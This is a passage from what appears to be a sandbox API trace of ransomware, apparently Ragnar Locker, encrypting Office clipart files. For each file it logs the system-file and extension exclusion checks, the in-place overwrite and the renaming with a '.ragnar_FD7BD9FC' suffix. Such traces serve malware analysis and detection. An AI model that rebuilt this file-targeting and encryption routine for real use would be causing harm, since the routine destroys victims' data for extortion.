dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.815] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5375) returned 1 [0079.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.815] GetProcessHeap () returned 0x580000 [0079.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.815] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.816] VirtualAlloc (lpAddress=0x0, dwSize=0x14ff, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.816] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14ff, lpOverlapped=0x0) returned 1 [0079.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.817] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14ff, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.817] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14ff, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14ff, lpOverlapped=0x0) returned 1 [0079.818] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14ff, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.818] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.818] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.818] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.818] GetProcessHeap () returned 0x580000 [0079.818] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.818] CloseHandle (hObject=0xf4) returned 1 [0079.818] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" [0079.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.ragnar_FD7BD9FC" [0079.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.819] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0079.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.819] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00170_.GIF" | out: lpString1="AG00170_.GIF") returned="AG00170_.GIF" [0079.819] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned=".GIF" [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="autorun.inf") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="boot.ini") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="bootfont.bin") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="bootsect.bak") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="bootmgr") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="bootmgr.efi") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="desktop.ini") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="iconcache.db") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="ntldr") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="ntuser.dat") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="ntuser.ini") returned -1 [0079.819] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="thumbs.db") returned -1 [0079.819] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.819] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.819] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.819] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.820] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.820] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.820] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0079.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.820] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9248) returned 1 [0079.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2417, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.820] GetProcessHeap () returned 0x580000 [0079.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.820] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.822] VirtualAlloc (lpAddress=0x0, dwSize=0x2420, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.822] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2420, lpOverlapped=0x0) returned 1 [0079.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.823] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2420, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.823] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2420, lpOverlapped=0x0) returned 1 [0079.823] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2420, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.823] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2420, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.823] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.823] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.824] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.824] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.824] GetProcessHeap () returned 0x580000 [0079.824] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.824] CloseHandle (hObject=0xf4) returned 1 [0079.824] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" [0079.824] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.ragnar_FD7BD9FC" [0079.824] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0079.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.828] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00171_.GIF" | out: lpString1="AG00171_.GIF") returned="AG00171_.GIF" [0079.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned=".GIF" [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="autorun.inf") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="boot.ini") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="bootfont.bin") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="bootsect.bak") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="bootmgr") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="bootmgr.efi") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="desktop.ini") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="iconcache.db") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="ntldr") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="ntuser.dat") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="ntuser.ini") returned -1 [0079.828] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="thumbs.db") returned -1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.828] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0079.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.829] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5016) returned 1 [0079.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x138f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.829] GetProcessHeap () returned 0x580000 [0079.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.829] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.831] VirtualAlloc (lpAddress=0x0, dwSize=0x1398, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.831] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.831] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.831] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1398, lpOverlapped=0x0) returned 1 [0079.832] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.832] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1398, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.832] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1398, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1398, lpOverlapped=0x0) returned 1 [0079.832] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1398, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.832] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.832] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.832] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.832] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.833] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.833] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.833] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.833] GetProcessHeap () returned 0x580000 [0079.833] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.833] CloseHandle (hObject=0xf4) returned 1 [0079.833] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" [0079.833] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.ragnar_FD7BD9FC" [0079.847] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.848] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0079.848] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.848] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00172_.GIF" | out: lpString1="AG00172_.GIF") returned="AG00172_.GIF" [0079.848] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned=".GIF" [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="autorun.inf") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="boot.ini") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="bootfont.bin") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="bootsect.bak") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="bootmgr") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="bootmgr.efi") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="desktop.ini") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="iconcache.db") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="ntldr") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="ntuser.dat") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.848] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="ntuser.ini") returned -1 [0079.849] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="thumbs.db") returned -1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.849] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0079.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.850] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4390) returned 1 [0079.850] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x111d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.850] GetProcessHeap () returned 0x580000 [0079.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.850] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.851] VirtualAlloc 